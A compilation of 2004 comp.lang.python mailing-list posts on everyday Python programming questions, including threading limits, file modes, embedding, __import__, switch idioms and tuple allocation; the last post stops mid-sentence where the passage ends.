From bretth at aiinet.com  Tue Sep 14 09:40:59 2004
From: bretth at aiinet.com (Humphreys, Brett)
Date: Tue, 14 Sep 2004 09:40:59 -0400
Subject: Thread Starvation
Message-ID: <C0170D0AF1277849A4B4518034F855DD40B5ED@aiexchange.ai.aiinet.com>

Hello All,

To preface my question, I'm running python on an embedded PowerPC chip
(8xx), with a host OS of Linux.  I'm seeing, in some of my applications,
thread starvation.  I can create new threads, however their run methods
are never called.  Interestingly enough, threading.activeCount() and
threading.enumerate() properly return all the threads I've started.  Yet
none of them will get their run method called.  

The python interpreter we use to run our python scripts is created
programmatically in its own thread (f that matters at all).  

For quite sometime, I thought this was a memory leak on our side, but
I'm not convinced of that, yet I haven't ruled it out.  If it is a
memory leak, it only manifests itself in threading, no where else do we
see strange behavior, and we write quite a few scripts targeted to this
platform.

90% of our scripts have threads that work just fine.  It is a small
subset of our scripts that have thread starvation.  It is worth noting
that if a script runs into this problem, *all* of the threads starve,
not just a couple of them starve.

Finally, the scripts that exhibit this behavior, always exhibit this
behavior.  It doesn't seem to be dependent upon any external conditions.


What I'm curious about is the following:

- Has anyone ever encountered something similar to this?
- What are appropriate ways of debugging this?  Are there ways to debug
the interpreter to get more information from it (i.e.: what is causing
it to not call run(), is there some mutex issue, resource issue, etc)?  

I realize there are a ton of variables to take into account here, I'm
just looking for some ideas on what might be holding me up.  

Thanks so much.

-Brett
Brett Humphreys
Software Engineer
Applied Innovation
Office: 800-247-9482 x2302
Fax:    614-798-1770


From export at hope.cz  Tue Sep 28 15:07:27 2004
From: export at hope.cz (Lad)
Date: 28 Sep 2004 12:07:27 -0700
Subject: os.system  vs. Py2Exe
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
	<77ce170c.0409280647.7e98e76d@posting.google.com>
Message-ID: <81a41dd.0409281107.5fd1c525@posting.google.com>

gjbaker at usa.com (Greg) wrote in message news:<77ce170c.0409280647.7e98e76d at posting.google.com>...
> export at hope.cz (Lad) wrote in message news:<81a41dd.0409280200.1a74edd1 at posting.google.com>...
> > I used Py2exe to compile my script( I use XP).
> > The compiled script works OK on my XP where Python is installed.
> > But when I install the compiled exe to another computer,
> >  
> > os.system 
> > 
> > causes the following  error:
> > Bad file or command name
> > 
> > Any help would be appreciated.
> > Lad
> 
> Did you install the python dll as well?

Yes, I installed all files( I think) because everything else works.
 Only os.system does NOT. 
I use os.system to open txt file.I use it like os.system('Myfile.txt')

When I use os.startfile instead  of os.system it works well.


From jeremy+plusnews at jeremysanders.net  Thu Sep  2 05:17:19 2004
From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders)
Date: Thu, 02 Sep 2004 10:17:19 +0100
Subject: Script executes script?
References: <c869ac1b.0409010014.4c581fc@posting.google.com>
	<ch43t4$r5q$1@news-reader4.wanadoo.fr>
	<pan.2004.09.01.09.49.05.690610@jeremysanders.net>
	<ch49ov$ss5$1@news-reader1.wanadoo.fr>
Message-ID: <pan.2004.09.02.09.17.19.368052@jeremysanders.net>

On Wed, 01 Sep 2004 12:26:49 +0200, Michel Claveau - abstraction
m?ta-galactique non triviale en fuite perp?tuelle. wrote:

> It's OK also with windows, like  popen, pawn, etc. But execfile(  is more
> fast, and need minus memory.

Of course. Occasionally you want an extra process, however!

Jeremy



From peter at engcorp.com  Fri Sep 24 09:10:54 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 09:10:54 -0400
Subject: file read, binary or text mode
In-Reply-To: <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net>
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
	<MaqdnVoFl5tkmsncRVn-uQ@powergate.ca>
	<41540ea3$0$3889$4d4ebb8e@news.nl.uu.net>
Message-ID: <Y5OdnbaC-vNDgcncRVn-iQ@powergate.ca>

Guyon Mor?e wrote:
> ok, i have huffman encoding code.
> 
> this is actually build for text, but because python can also read a binary
> file as a string, this applies equally well :)
> 
> but, i was just wondering if this gives any problems if I use text-mode read
> for the binary files and vice versa.
> 
> If I undertand correctly now, using binary mode is _always_ save, right?

You're not helping a whole lot here.  What platform are you using?
I'll assume from the headers in your message that it's Windows.
If that's true, then forget about text and binary and ASCII for
a moment, and just consider this.

If you open a file on Windows using "r" or "rt" or the default (which
is "r"), then when you read the file any occurrences of the byte
sequence 13 followed by 10 (that is, CR LF or \r\n or whatever you want
to call it) will be replaced as the file is read by just the 10, or the
LF, or the \n, or whatever you want to call it.

If you use "rb" instead of just "r" or the default, then this
translation will not occur and you will retrieve all bytes in
the file just as they are stored there.

It's up to you to pick the behaviour you need.  Saying it's
"huffman encoding code" doesn't really help, since that doesn't
refer to any universal standard representation data.  It
seems likely that it's binary (i.e. the translation provided by
not using "rb" is undesirable), but nobody here knows where you
got that file or what it contains.

And in case that doesn't answer the questions above: (1) yes,
it can definitely give problems reading text files as binary
and vice versa, and (2) binary mode applies whenever "b" is
used on Windows, and not otherwise, so if you save a file without
using "wb" you will get the same translation as above but in
the reverse direction (LF or \n gets turned into CR LF or \r\n
on output).

-Peter


From tfogal at unh.edu  Tue Sep 14 14:34:58 2004
From: tfogal at unh.edu (tom fogal)
Date: Tue, 14 Sep 2004 13:34:58 -0500
Subject: embedding python
Message-ID: <ci79vb$d5c$1@tabloid.unh.edu>

Hi all, I can't seem to find out how to get a python script to run from 
a C (well, C++...) program.

In particular, I'm confused about how the execution of the example code 
at http://docs.python.org/ext/pure-embedding.html works. If I call the 
example code 'multiply.py' and I generate an executable named 'call' (as 
the page suggests), I had expected the following to work:

./call multiply.py multiply 3 2

where 'multiply' is a function in multiply.py. The above comes back with 
  an ImportError saying that there is "No module named multiply.py", and 
a similar message if I change 'multiply.py' to 'multiply' (again as the 
page would suggest).

I saw somewhere (sorry, I forget where now) some code that would suggest 
  that I need to tag my python files with a module name, and got the 
vague impression that something like:

modname="multiply"
mod = __import__(modname)

would do the trick. This doesn't seem to affect things though...

Could anyone show me in the right direction towards just getting a 
simple 'hello world' type example to be run from a PyImport_<something> 
call? I'm hoping I could figure it out without bothering anyone else 
from then on.

Thank you,

-tom


From aleaxit at yahoo.com  Tue Sep 14 14:17:04 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 20:17:04 +0200
Subject: funcs vs vars in global namespace
References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu>
	<1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com>
	<z_B1d.5$26.4@llslave.llan.ll.mit.edu>
	<1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com>
	<8KD1d.10$26.4@llslave.llan.ll.mit.edu>
	<1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com>
	<H2G1d.11$26.2@llslave.llan.ll.mit.edu>
Message-ID: <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com>

David Rysdam <drysdam at ll.mit.edu> wrote:
   ...
> OK, dumb question #1:
> 
> Why do this:
> 
> sub_module = __import__(which_module_this_time)
> vars(sub_module).update(which_dict_this_time)
> 
> When I could just do this:
> 
> __import__(which_module_this_time, which_dict_this_time)
> 
> ?

You can do whatever you wish, but what makes you think these constructs
have similar effects?  Quoting from Python's online docs on __import__,

"""
 the standard implementation  does not use its locals argument at all,
and uses its  globals only to determine the package context of the
import statement
"""

In short, the standard implementation of __import__ does NOT alter in
any way the dict of the module it imports.


Alex


From ialbert at mailblocks.com  Wed Sep 22 13:27:22 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Wed, 22 Sep 2004 13:27:22 -0400
Subject: PyYaml?
In-Reply-To: <BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net>
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
	<l3c3d.1327$HH5.1125@trndny05>
	<4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net>
	<uCo3d.4230$4j1.460@trndny06>
	<BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net>
Message-ID: <Xr2dnZjd_8VkKMzcRVn-gg@giganews.com>

Andrew Dalke wrote:

> [Long post.  Summary is I've found three exploits in
> pyyaml and at least five limitations w.r.t. the existing
> Python pickles.  I DO NOT recommend anyone use pyyaml

pulling no punches



From bokr at oz.net  Fri Sep 10 17:29:48 2004
From: bokr at oz.net (Bengt Richter)
Date: 10 Sep 2004 21:29:48 GMT
Subject: Is there no switch function in Python
References: <CR20d.46131$Vf.2380522@news000.worldonline.dk>
	<1gjv9x9.ory9xvc5569dN%aleaxit@yahoo.com>
Message-ID: <cht6cc$uci$0$216.39.172.122@theriver.com>

On Thu, 9 Sep 2004 22:27:02 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>Rudi Hansen <rsh_remove_this_ at pobox.dk> wrote:
>
>> I dont seem to be able to find the switch statement in Python.
>
>Right, there isn't one.
>
>> 
>> I would like to be able to do
>> 
>> switch(var)
>>     case 1 :
>>         print "var = 1"
>>     case 2:
>>         print "var = 2"
>> 
>> But it seems that i have to do.
>> 
>> if(var=1)
>>     print "var =1"
>> elseif(var=2)
>>     print "var=2"
>> 
>> Is ther no easier way?? 
>
>several, starting with
>
>if var in (1,2): print 'var = %s' % var
>
>The most Pythonic idiom, when you have to do something substantial in
>each branch of the switch, is a dictionary of callables -- in this toy
>case it might be:
>
>switch = {1: lambda: sys.stdout.write('var=1\n'),
>               2: lambda: sys.stdout.write('var=2\n'), }
>switch.get(var, lambda: '')()
>
>An if/elif tree is also fine, though the syntax is not as you think...:
>
>if     var == 1:
>    print 'var is one'
>elif  var == 2:
>    print 'var is two'
>
The trouble is that other than if/elif/else or some weird exception tricks,
you can't switch between statements that execute as if they were suites of if/elif/else -- i.e.,
in the local namespace. And UIAM current exec introduces special restrictions in a function.
So you can't get a constant-time "jump table" effect.

But IWT if we had named local code suites, we could exec them safely via a mapping. E.g.,

    def foo(var): # following is not legal code ;-)
        v1: print 'var is one'
        v2: # any suite should be ok, not just one-liners
            print 'var',
            print 'is two'
        switch = {1:v1, 2:v2}    
        exec switch.get(var, '')

It would also be nice if the local bindings of named local code suites were
(or became wrapped on access as) objects that were callable like functions
without parameters. Locally that could be optimized, but if e.g. foo returned
v2 to its caller, there would have to be a wrapper with a mutable closure
capturing the current name space IWT. This would also be interesting to
pass to another function, which then could effectively execute a code suite
in _its_ caller's space. This could lead to all kinds of wild things, _some_ of
which would probably be neat and useful ;-)

It would be nice to get the switch mapping built at def-time, which should be
feasible, since the v1,v2 etc, bindings could be available then. Not sure how
to spell it nicely though, except that I still like the notion of a general
way to specify def-time execution of statements or expression terms. E.g.,
using '..' as a syntactic marker,
         switch ..= {1:v1, 2:v2}
could mean create the binding at def-time (necessarily evaluating the rhs then also).

I had previously proposed that
    def foo():
        x ..= 123
        return x
be codewise equivalent to current
    def foo(x=123):
        return x
without having x appear in the argument list, but still having the same
call-time local-binding initialization effect (i.e., new binding to def-time rhs value).
I mention this because v1 and v2 in the example are not in the namespace that is normally
searched for default arg rhs expressions as in def foo(x=name): ..., so named local suites'
names would have to be included (and allowed to shadow names that might otherwise be found).

No one commented on my previous post on that, perhaps because I didn't split it out into
a separate post with appropriate title. So here I did it again ;-/ The main use would be
efficient local binding initialization without using the default-arg hack or using a factory
funtion to return a function with initialized bindings in a closure.

The other use would allow constant folding for terms in expressions, using ..(expr) as
as spelling for evaluating expr at def-time and using a constant binding to the result
at run-time. E.g.,

    def circle_area(r): return ..(__import__('math').pi)*r*r

would generate byte code like what you can now do with Raymond Hettinger's global-constant
optimizing decorator by writing:

    pi = __import__('math').pi # just to make it look like the expr above
    @bind_constants()
    def circle_area(r): return pi*r*r
    del pi

(Very nice, Raymond)

Maybe Raymond will make a decorator to do local variable initialization, so we can write
    @localinit('name', expr)
    def foo():
        name = name*2 # usable like default name in def foo(name=expr): ...
        return name
;-)

Regards,
Bengt Richter


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Sat Sep 11 17:52:53 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.)
Date: Sat, 11 Sep 2004 23:52:53 +0200
Subject: How can I exec() in global?
References: <chvf25$20uu$1@ulysses.noc.ntua.gr>
Message-ID: <chvs4c$6hl$1@news-reader1.wanadoo.fr>

Hi too !



You can, also, to do :

def foo():
    exec ('''global X
X=[1,2,3]''')



@-salutations
-- 
Michel Claveau





From carribeiro at gmail.com  Tue Sep 28 19:05:30 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 28 Sep 2004 20:05:30 -0300
Subject: annoying behavior
In-Reply-To: <9418be08.0409281438.25e2abe@posting.google.com>
References: <9418be08.0409280856.9368ddf@posting.google.com>
	<cjc61h$ag0$1@news2.wdf.sap.corp>
	<9418be08.0409281438.25e2abe@posting.google.com>
Message-ID: <864d37090409281605659597c4@mail.gmail.com>

On 28 Sep 2004 15:38:28 -0700, Elbert Lev <elbertlev at hotmail.com> wrote:
> Daniel Dittmar <daniel.dittmar at sap.corp> wrote in message news:<cjc61h$ag0$1 at news2.wdf.sap.corp>...
> 
> I think, it would be good, if some sort of warning is given during
> import, but not during instantiating the instance of the class. At
> least in a "debug" mode. What really did happen: the bug was reported
> after the scrip was running for 30 minutes. PyCheck finds it
> immediatelly. Why not to do the same kind of check in the interpreter?

... jumping in the discussion just to point out that you're now asking
for something reasonable, while on your first message you were asking
for the opposite -- to make the interpreter *less* restrict. It's no
wonder people answered like that...

BTW, the problem with pychecker, in my not-so-humble opinion, is that
it may be regarded as slow, or a little too obstrusive for continuous
usage. But that's my opinion anyway.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From steven.bethard at gmail.com  Tue Sep 28 18:09:24 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 28 Sep 2004 22:09:24 +0000 (UTC)
Subject: all pairs of items in a list without indexing?
References: <mailman.4028.1096403649.5135.python-list@python.org>
	<UZk6d.170834$3l3.71882@attbi_s03>
	<20040928220043.GB11275@unpythonic.net>
Message-ID: <loom.20040929T000717-349@post.gmane.org>

<jepler <at> unpythonic.net> writes:
>     def all_pairs(L):
>         while L:
>             i = L.pop()
>             for j in L: yield i, j

Interesting.  I hadn't thought of this one -- it's not bad other than 
requiring the list copy (since I need to maintain the original list).

Thanks,

Steve



From aleaxit at yahoo.com  Mon Sep  6 17:52:43 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 23:52:43 +0200
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<0qKdnZXAHfyPyKrcRVn-sg@powergate.ca>
	<mailman.2783.1094152072.5135.python-list@python.org>
	<P5GdnUwq-8QI6KrcRVn-qg@powergate.ca>
	<ch7ume$o32$1@panix3.panix.com>
	<9JmdnQkSR7m8e6rcRVn-sA@powergate.ca>
	<v8K_c.11974$QJ3.10528@newssvr21.news.prodigy.com>
	<Qp-dnfJRap1_KKHcRVn-ow@powergate.ca>
Message-ID: <1gjptav.14nmw6g1vl4vedN%aleaxit@yahoo.com>

Peter Hansen <peter at engcorp.com> wrote:
   ...
> Alex shows use of a generator... fine, but how do you
> build the tuple without storing up the results of the
> generator first somewhere else?  You can't preallocate the

You, programming in Python, can't, but the interpreter, internally, can
-- because function _PyTuple_Resize (nor being directly callable from
Pytjon) _CAN_ resize a tuple more efficiently than you imply:

> space for the tuple if you don't know how long it will
> be, but you have to preallocate the space for a tuple
> (I believe, in the interpreter anyway, if not at the
> programmer level) so you must therefore be storing the
> entire output of the generator somewhere just prior
> to the tuple creation: same problem as above.

No problem at all -- if your available memory is in one chunk, the
resize can work in place.  (If your available memory is fragmented you
can of course be hosed, since Python's can't move allocated blocks and
thus can't compact things up to cure your fragmentation; but even when
memory's tight it's not unusual for it to not be fragmented).

> 
> I know Alex knows all this (or has some additional
> info that I don't have and which he'll shortly provide),

You don't have the sources of the Python interpreter?  They're freely
available for download, why would I need to provide them?!  Anyway, just
follow, with your C debugger or whatever (I think mere code inspection
will be fine), what happens when you call x = tuple(someiterator()).

Moreover, if the 'someiterator()' iterator can return a reasonable
__len__, I believe Python 2.4 should now able to use that to estimate
the needed length in advance for greater efficiency, but I haven't
looked deeply into that, yet... indeed, some simple timeit.py tests
suggest to me that 2.4 alpha 3 only implements that optimization to
preallocate lists, not tuples.  But even if so, that's clearly a matter
of mere expediency, not one of any intrinsic problem as you make it
sound.


> so I can only assume he was reacting only to my poor
> choice of wording with 'list' and/or was ignoring the
> context of the discussion (memory usage).

Claiming that you have to have all info in memory before a tuple can be
built is simply wrong -- your previous claim that the info had to be in
a list was even "wronger", sure, but that doesn't make your current
weaker claims correct in the least.


Alex


From tchur at optushome.com.au  Tue Sep 21 17:39:06 2004
From: tchur at optushome.com.au (Tim Churches)
Date: 22 Sep 2004 07:39:06 +1000
Subject: Twisted Matrix - now a major motion picture
In-Reply-To: <c718a6cf.0409181351.348ccf@posting.google.com>
References: <c718a6cf.0409181351.348ccf@posting.google.com>
Message-ID: <1095802746.1233.38.camel@emilio>

This caused me some mirth:
http://www.builderau.com.au/program/work/0,39024650,39131060,00.htm

It also raises speculation about a hitherto overlooked genre of Pythonic
cinematic works...
-- 

Tim C

PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere
or at http://members.optushome.com.au/tchur/pubkey.asc
Key fingerprint = 8C22 BF76 33BA B3B5 1D5B  EB37 7891 46A9 EAF9 93D0





From http  Mon Sep  6 01:25:24 2004
From: http (Paul Rubin)
Date: 05 Sep 2004 22:25:24 -0700
Subject: view http info when browsing
References: <56d498d9.0409051725.1c7d3258@posting.google.com>
Message-ID: <7xoekk7yuz.fsf@ruckus.brouhaha.com>

santoshamb at yahoo.com (ben) writes:
> Does anybody know a good way of view the raw http?

I always just use a proxy server for that.  www.junkbuster.org has a
free and convenient one that has options for logging the http stream.


From kangell at alertra.com  Wed Sep 29 13:24:20 2004
From: kangell at alertra.com (Kirby Angell)
Date: Wed, 29 Sep 2004 12:24:20 -0500
Subject: Maximum number of threads
In-Reply-To: <mailman.4084.1096472866.5135.python-list@python.org>
References: <xbt6d.2829$gm.1283@okepread07>	<415abdaa$1_1@omega.dimensional.com>	<FuA6d.2832$gm.1483@okepread07>
	<mailman.4084.1096472866.5135.python-list@python.org>
Message-ID: <WcC6d.2838$gm.453@okepread07>

Jeremy Jones wrote:
> 
> around 400 for FC2.  I may be wrong, but I think Python relies on the 
> underlying OS threading libraries for everything threading related.  
> Which is probably why the recent change in either 2.2 or 2.3 for a dummy 
> threading module that simulates threading on systems that do not support 
> threading.  I know my babbling isn't getting you any closer to a 
> solution.....
> 

No, your babbling has gotten me much closer.  I'm not sure what changed 
between Python 2.2 and Python 2.3, but the problem is the stack size 
allocated to each thread.  Apparently with glibc on RH9 something along 
the order of 8 MB of virtual memory is allocated for the stack of each 
thread.  256 threads takes us to the virtual memory limit of the process 
itself. Glibc on FC2 must be using a different default stack size, or 
the virtual memory limit is higher; I've only recently started running 
FC2 on our test servers so I'm not sure which it is.

The only way to change the stack size is to define THREAD_STACK_SIZE in 
the thread_pthread.h header.  There is an ifdef for the Mac that sets 
this to 64k.  Just as a test I forced THREAD_STACK_SIZE to that value 
and recompiled Python.  I can now create 16k threads although I'm not 
sure yet whether our application will run; some tuning is probably in 
order.  I'm going to get the 2.2 source code and see what is different 
between the two and maybe get an idea of what a reasonable stack size is.

There is a very nice write-up on the basic issue here:

http://www.kegel.com/stackcheck/

Thanks for your help.


From jerf at jerf.org  Sun Sep 19 12:58:07 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Sun, 19 Sep 2004 16:58:07 GMT
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3482.1095528019.5135.python-list@python.org>
	<ida3d.3866$%42.2117@trndny08>
Message-ID: <pan.2004.09.20.14.06.20.507957@jerf.org>

On Sun, 19 Sep 2004 07:05:50 +0000, Chris S. wrote:

> That's nonsense. My 7-year old TI-83 performs that calculation just 
> fine,

No, it doesn't. Your calculator is lying to you because it (correctly in
this case) expects that you want it to.

You need to educate yourself on how computers do math before passing such
uninformed judgments.

http://www.apa.org/journals/psp/psp7761121.html



From pf_moore at yahoo.co.uk  Sat Sep 18 11:48:26 2004
From: pf_moore at yahoo.co.uk (Paul Moore)
Date: Sat, 18 Sep 2004 16:48:26 +0100
Subject: Python binaries for Solaris, HP-UX
References: <uk6urzzse.fsf@yahoo.co.uk> <doet12-868.ln1@valpo.de>
Message-ID: <uisab1stx.fsf@yahoo.co.uk>

Mathias Waack <M.Waack at gmx.de> writes:

> Paul Moore wrote:
>
>> I'm looking for binaries of Python (2.3.4, preferably) which run on
>> Solaris and HP-UX. I need to be able to install them as a non-root
>> user (hence, to a private directory, something like ~/bin).
>
> HP offers precompiled packages of free software at the DSPP pages:
> http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,4682,00.html

That installs to /usr/local, unfortunately. As I said, I need
something that will install as an unprivileged user :-( I suspect
that Sun's version is similar (ones I found via websearch certainly
were).

Thanks,
Paul.
-- 
It was a machine, and as such only understood one thing. Being clobbered
with big hammers was something it could relate to. -- Tom Holt


From richie at entrian.com  Tue Sep  7 10:33:19 2004
From: richie at entrian.com (Richie Hindle)
Date: Tue, 07 Sep 2004 15:33:19 +0100
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
In-Reply-To: <vvudnXvWYobKKaDcRVn-vg@powergate.ca>
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
	<1stv02-qlp.ln1@home.rogerbinns.com>
	<vvudnXvWYobKKaDcRVn-vg@powergate.ca>
Message-ID: <a5grj0lu9db20hbg7ekgr3sh1ej81c6bt8@4ax.com>


[Peter]
> I kinda like [cowbird]

Here's a script for making more product names by combining two single-syllable
words into one:

 import re, random
 words = open('/usr/share/dict/words', 'r').read().strip().lower().split()
 words = [w for w in words if not re.search(r'[aeiouy][^aeiouy]+[aeiouy]', w)]
 for i in range(10):
     print random.choice(words) + random.choice(words)

This has given me the following projects to start work on ASAP:

 goalsleuth
 lustwhim
 floatmaps
 reactstep
 shillpro
 freshlight
 camworks
 diskshock
 snapgosh
 runless

I haven't looked those up on SourceForge, but I bet most of them are there (at
status Planning).

-- 
Richie Hindle
richie at entrian.com



From clifford.wells at comcast.net  Mon Sep 27 18:49:36 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Mon, 27 Sep 2004 15:49:36 -0700
Subject: Please Hlp with msg: "The C++ part of the StaticText object
	has been deleted"
In-Reply-To: <Bit5d.3231$nj.2800@newssvr13.news.prodigy.com>
References: <Bit5d.3231$nj.2800@newssvr13.news.prodigy.com>
Message-ID: <1096325376.3154.63.camel@devilbox.devilnet.internal>

On Sun, 2004-09-26 at 06:26 +0000, python newbie wrote:

> Anyway, when I click on a node of this tree, I change the text of the
> static text control at top, to the text of the node. It actually works,
> but when I close the app I get this:
> ----------------------------------------------
> The stack trace:
> E:\MyProjects1\python\backup
> Traceback (most recent call last):
>   File "E:\MyProjects1\python\backup\wxProject.py", line 294, in
> OnNodeChanged
>     self.testLab.SetLabel('test')
>   File "C:\Python23\Lib\site-packages\wx\_core.py", line 10617, in
> __getattr__
>     raise PyDeadObjectError(self.attrStr % self._name)
> wx._core.PyDeadObjectError: The C++ part of the StaticText object has been
> deleted, attribute access no longer allowed.
> ---------------------------------------------



> 
> Here's how I add the wxStaticBox: ------------------------
> # ok, first, the code below is actually in this __init__  function
> class main_window(wxFrame):
>     def __init__(self, parent, id, title):
>         wxFrame.__init__(self, parent, -1, title, size = (650, 500),
>           style=wxDEFAULT_FRAME_STYLE|wxNO_FULL_REPAINT_ON_RESIZE)
> 
> # first the left panel
> # -------------------
> self.MyLeftPanel = wxPanel(splitter,10004) #<--a random number I used

Why a "random" number?  Just use -1 or wxNewId() (and those are
equivalent, FWIW) if you don't care about the id. Your approach is
inherently unsafe, although I doubt it's the source of your problem.

                                                                    
> # didn't want to use -1
> self.MyLeftPanel.SetDimensions(0, 0, 100, 220)
> self.leftSizer=wxBoxSizer(wxVERTICAL) # the sizer is born
> self.MyLeftPanel.SetSizer(self.leftSizer)
> self.MyLeftPanel.SetAutoLayout(true)
> 
> # then add the static text
> # -------------------
> self.aNewID=wxNewId()
> self.testLabel = wxStaticText(self.MyLeftPanel,self.aNewID,'test label')
> self.leftSizer.Add(self.testLabel)
> 
> 
> Here's how I code the event handler: ------------------
> 
> def OnNodeChanged(self,event):
>         item = self.tree.GetSelection()
>         if (self.tree.ItemHasChildren(item) == 0):
>            #self.testLabel.SetLabel(self.tree.GetItemText(item))
>            self.testLabel.SetLabel('test')
> # The commented-out line works too.. the static text does change
> # to the static of the node --- very nice, if it weren't
> # for the error when you close the app.
> 
> Any suggestions would be great.

I'm not sure where your error comes from (aside from obviously being the
result of accessing a destroyed widget), but this will prevent the error
message (a band-aid, more or less):

if self.testLabel:
   self.testLabel.SetLabel('test') 

I'm guessing that OnNodeChanged gets called when the tree is destroyed,
which may be after the StaticText is destroyed, which could be your
problem (in which case the fix I provided is fine).  I can't be certain
of this since I have no idea what event triggers your event handler (but
if it's EVT_TREE_DELETE_ITEM then my guess is probably correct.

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From indrek.kruusa at tuleriit.ee  Tue Sep 21 07:13:20 2004
From: indrek.kruusa at tuleriit.ee (Indrek Kruusa)
Date: Tue, 21 Sep 2004 11:13:20 -0000
Subject: Telecom application...
Message-ID: <4106629F.7030501@tuleriit.ee>

Hi!

I have wrote one simple piece of code - phone bill calculation - for 
comparing several scripting languages.
You can find results from "Speed test" section at:

http://www.tuleriit.ee/progs/index.php

Please remember that these scripts are for comparing languages behavior 
and are not meant as good programming examples how to resolv    
particular problem.

If there is something wrong with python code please let me know!
I already know that there are some awful mistakes with perl script and 
the timings needs to be measured once again :)

Thanks,
Indrek



From aleaxit at yahoo.com  Fri Sep 24 03:12:05 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 24 Sep 2004 09:12:05 +0200
Subject: [OT] "Pre-announcement" of Python-based "computing
	appliance"	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
	<mailman.3830.1095998544.5135.python-list@python.org>
Message-ID: <1gkm0tv.1xasn1m14tgujgN%aleaxit@yahoo.com>

Jack Diederich <jack at performancedrivers.com> wrote:
   ...
> Hmm, you could go with Daleth, the Hewbrew letter that means Door.

Great suggestion.  While daleth.org and daleth.com are taken, daleth.net
is free, too.


> A glance at the first google page shows no software with that moniker.
> As a logo it isn't terribly sexy, but you could work on it (the current

?!  It means (inter alia) Tarot Trump III, The Empress (Venus, Earth
Mother, Demeter -- fertility, bounty, creativity -- Daughter of the
Mighty Ones) -- there are renderings galore, and while of course many
are quite chaste, finding sexy ones is the least of your problems!-)  


> ps, to any whackadoodles: no neocon conspiracy here, it just happens that
> when I was young my parents sent me to a place called "a school"

Heh, I may be out of the current US cultural picture, I guess, but I
wouldn't particularly connect tarot and kabbalah to neocons...


Alex


From aleaxit at yahoo.com  Thu Sep  9 04:19:27 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 10:19:27 +0200
Subject: Why is this legal?
References: <2uK%c.21$pW.773@news.itd.umich.edu>
	<mailman.3066.1094692871.5135.python-list@python.org>
	<obQ%c.43$pW.959@news.itd.umich.edu>
	<mailman.3071.1094705282.5135.python-list@python.org>
	<j%T%c.47$pW.969@news.itd.umich.edu>
Message-ID: <1gjucms.1tzu4a0192o1t1N%aleaxit@yahoo.com>

Michael George Lerner <mlerner at NOumichSPAM.edu> wrote:
   ...
> Heck, maybe I'll even download Python 2.4 so I can say
> cluster.sort(key=lambda c: c.resi)

Or better,
  cluster.sort(key=operator.attrgetter('resi'))

This way it will really fly!


Alex


From aleaxit at yahoo.com  Thu Sep  9 16:34:22 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 22:34:22 +0200
Subject: my own type in C, sequence protocol
References: <chq9eg$c2i$1@schleim.qwe.de>
	<donn-D30720.12484009092004@gnus01.u.washington.edu>
	<87brgfb3jc.fsf@ten22.rhodesmill.org>
Message-ID: <1gjvaep.4ckkohstz74tN%aleaxit@yahoo.com>

Brandon Craig Rhodes <brandon at ten22.rhodesmill.org> wrote:
   ...
> > You might want your type's init function to accept a
> > sequence, to copy for an initial value, as in
> >
> >  m = myType([1, 2, 3])
> 
> Note, however, that this requires Python to create a list with the
> values 1, 2, and 3 in it; then pass that value to your init function;
> and finally discard the list when the initializer has completed.

Yeah, so?

> Perhaps more efficient (maybe you could test both to compare the
> expense?) would be for your initialization function to accept the new
> sequence members as arguments themselves:
> 
>     m = myType(1, 2, 3)
> 
> This way a list does not have to be created and destroyed, with all
> the associated computation, each time you initialize a myType.

Yeah, but a tuple (of arguments) still has to be.

Sure, there IS a performance difference, but it's very small...:

kallisti:~ alex$ python cb/timeit.py -s'
> class mt:
>   def __init__(self, seq): self.seq=list(seq)
> ' 'mt([ 1,2,3 ])'
100000 loops, best of 3: 9.52 usec per loop

kallisti:~ alex$ python cb/timeit.py -s'
class mt:
  def __init__(self, *seq): self.seq=list(seq)
' 'mt(1,2,3)'
100000 loops, best of 3: 8.38 usec per loop
kallisti:~ alex$ 

You're not going to create enough instances to care about that
